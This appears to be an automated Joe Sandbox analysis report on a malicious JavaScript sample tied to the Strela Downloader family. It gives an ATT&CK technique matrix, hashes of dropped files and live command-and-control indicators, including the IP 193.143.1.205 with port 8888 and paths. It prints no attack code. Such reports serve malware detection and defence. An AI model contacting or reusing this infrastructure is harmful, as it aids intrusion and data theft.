Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2609231882173488714.js	10%	Virustotal		Browse
2609231882173488714.js	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/C3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/C3	net.exe, 00000007.00000002.2171332403.000002D10D86C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2170582095.00000158B41E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3409282632.00000158B4400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2171332403.000002D10D86C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171332403.000002D10D838000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171332403.000002D10D88F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588197
Start date and time:	2025-01-10 22:32:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2609231882173488714.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 88.221.110.91, 2.16.100.168, 23.200.0.21, 23.200.0.33, 13.107.246.45, 3.233.129.217, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:33:15	API Interceptor	26x Sleep call for process: powershell.exe modified
16:33:19	API Interceptor	1x Sleep call for process: net.exe modified
16:33:19	API Interceptor	2x Sleep call for process: svchost.exe modified
16:33:26	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.72632486518671
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH07:9JZj5MiKNnNhoxuW
MD5:	581BA195EB4DF59A8857DB5E72EDD818
SHA1:	DCCC669499493213CA2BDC87AD901319ADAB9535
SHA-256:	269285E5B89E2B1255FE27E101DD095A514DC6D07FA2E889E357CD9A4688B0A9
SHA-512:	0A910B287F00CC8CC07994BA2C9ADFE81DF215D5865EFBC35DB916459EF8C4DF5B9F9DE238B7A5FE180B016E01AFFF3DF19F390C111A60DAE48A271208194DFD
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x5087cfce, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555903746604071
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	57168603DE9FEEBEE05402BA605A260F
SHA1:	02287EE19D03F104D1AAD642ECEAC8DFBD2F2E21
SHA-256:	35D4A6F3452893476116972BC76F1C6517E04165EB7F1BF39960C816FE2CEB88
SHA-512:	06D5B3685B55E5538EF61B757F94481EE6C13D10A4DBBA9420DB3ED40A10CB4CD72A0713581DD4D326001DD77800F30CC4CF6030EFE9DE96CF6A448042AAFEEB
Malicious:	false
Preview:	P...... .......7.......X\...;...{......................0.e......!...{?..!...}#.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.................................."..<.!...}A.................b..N.!...}A..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07915470285528572
Encrypted:	false
SSDEEP:	3:PCNS6YeBRkjaANaAPaU1la2EautilluxmO+l/SNxOf:D6zBRuDNDPaUutGgmOH
MD5:	98F1FCA66FC7CE0648B19067A4BCEC61
SHA1:	EC4A33F9A142FF630FD632093A2F45FF52CCC367
SHA-256:	38E40AEB12697F6226483ADA1401ED76457B19A72F2612696D547B2FFE069CA8
SHA-512:	519A7DF249C89250B8EE2C5A1E19D93ED68EE7545158139EA1142C29F5D3A41AC946ED828B52A63378B91AEB9F42E677EE67FA5A2A2EC0DF67F4371C41009AC1
Malicious:	false
Preview:	.;gh.....................................;...{...!...}A..!...{?..........!...{?..!...{?..g...!...{?.................b..N.!...}A.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.20364045986362
Encrypted:	false
SSDEEP:	6:iO4vTIHVq2PN72nKuAl9OmbnIFUtSvRgZmwsvRIkwON72nKuAl9OmbjLJ:7nVvVaHAahFUtmg/EI5OaHAaSJ
MD5:	AF7866BCE881BB63EF4CD864F93D1949
SHA1:	D158FA4ACCA117BC0FD7B9C9CA2DDD205FD6546A
SHA-256:	4D1B88058FC9E23FAC01657A51750C11F5263B066FC4DC8522EEFF18DBCF058B
SHA-512:	0621D17A4B39D71FEDD1ED9FC8D69E189F83EA5A3EE363992F2791CE00A7D8B5E477FC1056101F9516A28CD43FDAF0A0AE9BC1D5A648196A3367FF514EB295E9
Malicious:	false
Preview:	2025/01/10-16:33:19.448 1b54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:33:19.450 1b54 Recovering log #3.2025/01/10-16:33:19.450 1b54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.20364045986362
Encrypted:	false
SSDEEP:	6:iO4vTIHVq2PN72nKuAl9OmbnIFUtSvRgZmwsvRIkwON72nKuAl9OmbjLJ:7nVvVaHAahFUtmg/EI5OaHAaSJ
MD5:	AF7866BCE881BB63EF4CD864F93D1949
SHA1:	D158FA4ACCA117BC0FD7B9C9CA2DDD205FD6546A
SHA-256:	4D1B88058FC9E23FAC01657A51750C11F5263B066FC4DC8522EEFF18DBCF058B
SHA-512:	0621D17A4B39D71FEDD1ED9FC8D69E189F83EA5A3EE363992F2791CE00A7D8B5E477FC1056101F9516A28CD43FDAF0A0AE9BC1D5A648196A3367FF514EB295E9
Malicious:	false
Preview:	2025/01/10-16:33:19.448 1b54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:33:19.450 1b54 Recovering log #3.2025/01/10-16:33:19.450 1b54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2008526917125755
Encrypted:	false
SSDEEP:	6:iO4vvEqM+q2PN72nKuAl9Ombzo2jMGIFUtSvvFUXZmwsvkjMVkwON72nKuAl9OmT:7PqM+vVaHAa8uFUtl//MV5OaHAa8RJ
MD5:	1977ABB113377FC0FA28CCBC02EEEE4F
SHA1:	456657E9581D2BED8BAAD1060D7775F990EC14B6
SHA-256:	AED2E5862121F42F248F21B67059D22ECC1AE191090AF9C3A0D01D7EF91C3198
SHA-512:	A0D3D3E17D99F72DD7FD493E7641EF43AA8B6E3E0DE1E10ED5BFDC3218F256AB6DD225D1017E53F0C61D41252C436998ADEA0102463F8CA51914E74D55B44AD3
Malicious:	false
Preview:	2025/01/10-16:33:19.475 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:33:19.480 198c Recovering log #3.2025/01/10-16:33:19.481 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2008526917125755
Encrypted:	false
SSDEEP:	6:iO4vvEqM+q2PN72nKuAl9Ombzo2jMGIFUtSvvFUXZmwsvkjMVkwON72nKuAl9OmT:7PqM+vVaHAa8uFUtl//MV5OaHAa8RJ
MD5:	1977ABB113377FC0FA28CCBC02EEEE4F
SHA1:	456657E9581D2BED8BAAD1060D7775F990EC14B6
SHA-256:	AED2E5862121F42F248F21B67059D22ECC1AE191090AF9C3A0D01D7EF91C3198
SHA-512:	A0D3D3E17D99F72DD7FD493E7641EF43AA8B6E3E0DE1E10ED5BFDC3218F256AB6DD225D1017E53F0C61D41252C436998ADEA0102463F8CA51914E74D55B44AD3
Malicious:	false
Preview:	2025/01/10-16:33:19.475 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:33:19.480 198c Recovering log #3.2025/01/10-16:33:19.481 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8076cfd5-6e74-4838-be3a-70757f89ad68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.945720497022255
Encrypted:	false
SSDEEP:	12:YH/um3RA8squBSsBdOg2H6Acaq3QYiubcP7E4T3y:Y2sRdsTXdMH6r3QYhbA7nby
MD5:	788594E901075452FE16C250B6A5AF32
SHA1:	ED8B60A207FA5A7AC30F80A3D41543528228C581
SHA-256:	A2B73AB6AF0584EE0900F381D2D4A805A9D4C3DB50320FB846631CD844827F8C
SHA-512:	F1168B7DB5CF6B8DD65072F5BE49AE97970BD760BC11C845225B2CC0C8461A52C76999C9267CC99F22F7CCDAE9B9A33E9281BB14CC44FAE0420FCE9ED5F81D31
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104811231338","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134915},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8b678061-3edc-4b95-b69a-dfda65c81003.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ee150.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252108470087428
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7JAOE:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	CDAE05F61658D90D7B004AAB73D58A12
SHA1:	4A9AE84FA6BC95E7C8484E6BC3B4DABB40944E19
SHA-256:	15581D0EA56C0EFD6A29F871468E251AACF76F67C4A9D65D88F46E105B04D6E2
SHA-512:	F221D97748C8E6AE0D894850CABF420B342E6C6D167124308B6C4F145F14941719C2509534E218222AF46DE313A7D641B042AB6FC3133BDEE809BC49379E0252
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170545869783231
Encrypted:	false
SSDEEP:	6:iO4vrEqM+q2PN72nKuAl9OmbzNMxIFUtSv6ZmwsvlMVkwON72nKuAl9OmbzNMFLJ:72M+vVaHAa8jFUtz/QMV5OaHAa84J
MD5:	21FBB80E0EC26B231AC700EB180D2951
SHA1:	0429EB2DD6A0DA49976ACCA90951EC4BDC1F7616
SHA-256:	B27A425E94F44D269D39EA0A59F3BA47A8D56BFC2036B967EC3E3D6880E46117
SHA-512:	AD74AE754F0C66D4B167F8F1591D0E452E4ED4FA0B3DBA7CC194C0BB913FD5C8BB153AEE8AE9EE12D49F3A63BDEC500D4A1AF613FB1B66B8888E3EE5DAA2C21E
Malicious:	false
Preview:	2025/01/10-16:33:19.633 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:33:19.635 198c Recovering log #3.2025/01/10-16:33:19.635 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170545869783231
Encrypted:	false
SSDEEP:	6:iO4vrEqM+q2PN72nKuAl9OmbzNMxIFUtSv6ZmwsvlMVkwON72nKuAl9OmbzNMFLJ:72M+vVaHAa8jFUtz/QMV5OaHAa84J
MD5:	21FBB80E0EC26B231AC700EB180D2951
SHA1:	0429EB2DD6A0DA49976ACCA90951EC4BDC1F7616
SHA-256:	B27A425E94F44D269D39EA0A59F3BA47A8D56BFC2036B967EC3E3D6880E46117
SHA-512:	AD74AE754F0C66D4B167F8F1591D0E452E4ED4FA0B3DBA7CC194C0BB913FD5C8BB153AEE8AE9EE12D49F3A63BDEC500D4A1AF613FB1B66B8888E3EE5DAA2C21E
Malicious:	false
Preview:	2025/01/10-16:33:19.633 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:33:19.635 198c Recovering log #3.2025/01/10-16:33:19.635 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444751876626735
Encrypted:	false
SSDEEP:	384:ye6ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m6s3OazzU89UTTgUL
MD5:	2F534BFD0C9D5DD8033102F34FD08E17
SHA1:	7175DB3D3D7D1AEB1CEC988356AFD930D04F5093
SHA-256:	56340A280D72BEA2CB16211F8E2DC8FB092DE101933E561A48F1533C3FD9C9C0
SHA-512:	23ACCF0F7BB1A4A28FD4D01A4376DE94CB42E1F6AF8DD1DA2D599884EFDF65650B86C35B145B7695485D2B4D90652FC65CF851EB3FAF1E5EBABCEE5298F82AE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

